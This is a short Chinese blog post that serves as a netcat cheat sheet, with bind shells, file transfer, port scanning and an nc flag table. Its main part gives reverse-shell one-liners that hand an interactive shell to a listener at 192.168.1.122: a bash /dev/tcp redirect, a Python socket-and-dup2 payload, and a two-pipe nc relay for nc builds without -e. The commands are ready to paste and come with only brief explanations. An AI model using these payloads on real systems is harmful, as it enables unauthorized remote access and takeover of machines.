- A+
所属分类:信息安全
连接
nc -lp 4444 监听4444端口
返回shell
1 |
nc -lp 4444 -e /bin/bash |
1 |
nc -lp 4444 -e cmd.exe |
1 |
nc -lp 4444 -e /bin/bash |
文件传输
创建一个服务器端
1 |
nc -lp 4444 > outfile |
创建一个客户端
1 |
nc remore_addr port < infile |
端口扫描使用
nc -v -n -w1 -z 192.168.1.122 1-1000
-v 表示对错误进行详细输出
-n 不对目标机器进行dns
-z
-w1 超时设置为1s
1 |
echo " " | nc -v -n -w1 192.168.1.109 22 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
nc 参数 -d 脱离命令窗口 在后台运行 -e 执行某个程序 -G gateway 设置网关 -g num 路由跳数 -i sec 设置发送每一行数据的时间间隔 -l 设置netcat 处于监听状态等待连接 -L 设置netcat 处于监听状态等待连接 ,当客户端断开,服务端依旧回到等待状态 -n 设置netcat 识别ip地址 不进行dns 解析 -o file 设置传输十六进制的数据 -p port 设置本地监听的端口号 -r 设置netcat 随机化的端口号 -s 设置源地址 -t 回复telnet 的请求数据包 -u 设置netcat 使用udp 模式 (默认tcp) -v 显示错误提示信息 -w secs 设置连接超时秒数 -z 设置扫描模式 ,表示发送的数据包中不包含任何payload |
反弹shell
1.目标服务器没有安装netcat
bash -i > & /dev/tcp/ip/port 0>&1
在命令中bash -i 表示已交互模式运行bash shell。重定向符 >& ,如果在其后加文件描述符,是将bash -i 交互式
传递给文件描述符,而如果其后是文件,则将bash -i 交互模式传递给文件。/dev/tcp/ip/port表示传递给远程主机
的IP地址对应的端口。
文件描述符: 0 标准输入、1标准输出、2、错误输入输出
命令中的 0>&1 表示将标准输入重定向到标准输出,实现远程的输入可以在远程输出对应内容。
1 2 |
nc.exe -lvp 10086 bash -i >& /dev/tcp/192.168.1.122/10086 0>&1 |
python
1 |
nc -lvp 10086 |
1 |
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.1.122',10086));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);" |
2.nc 不支持nc -e 下反弹shell
反弹shell :nc ip port | /bin/bash | nc ip port
pc 接受shell : nc -lvnp port 需要启动两个监听端口
接受shell
1 |
nc -lvp 4445 |
1 |
nc -lvp 4446 |
反弹shell:
1 |
nc 192.168.1.122 4445 | /bin/bash | nc 192.168.1.122 4446 |
- 我的微信
- 这是我的微信扫一扫
- 我的微信公众号
- 我的微信公众号扫一扫